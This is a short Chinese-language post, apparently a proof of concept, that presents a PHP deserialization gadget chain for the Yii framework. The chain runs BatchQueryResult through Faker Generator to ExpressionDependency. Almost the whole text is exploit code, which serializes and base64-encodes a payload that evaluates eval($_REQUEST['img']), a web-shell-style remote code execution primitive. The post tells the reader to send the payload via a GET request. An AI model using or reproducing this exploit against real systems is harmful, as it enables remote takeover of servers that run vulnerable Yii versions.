YII框架1-37版本通用链

使用直接get方式传入代码即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
namespace yii\db{
    use Faker\Generator;
    class BatchQueryResult{
        private $_dataReader;
        public function __construct(){
            $this->_dataReader = new Generator();
        }
    }
}

namespace Faker{
    use yii\caching\ExpressionDependency;
    class Generator{
        protected $formatters;
        public function __construct(){
            $this->formatters = ['close' => [new ExpressionDependency(),'evaluateDependency']];
        }
    }
}

namespace yii\caching{
    abstract class Dependency{

    }
    class ExpressionDependency extends Dependency{
        public $expression;
        public function __construct()
        {
            $this->expression = 'eval($_REQUEST[\'img\'])';
        }
    }
}


namespace{
    // 生成poc
    echo base64_encode(serialize(new yii\db\BatchQueryResult()));
}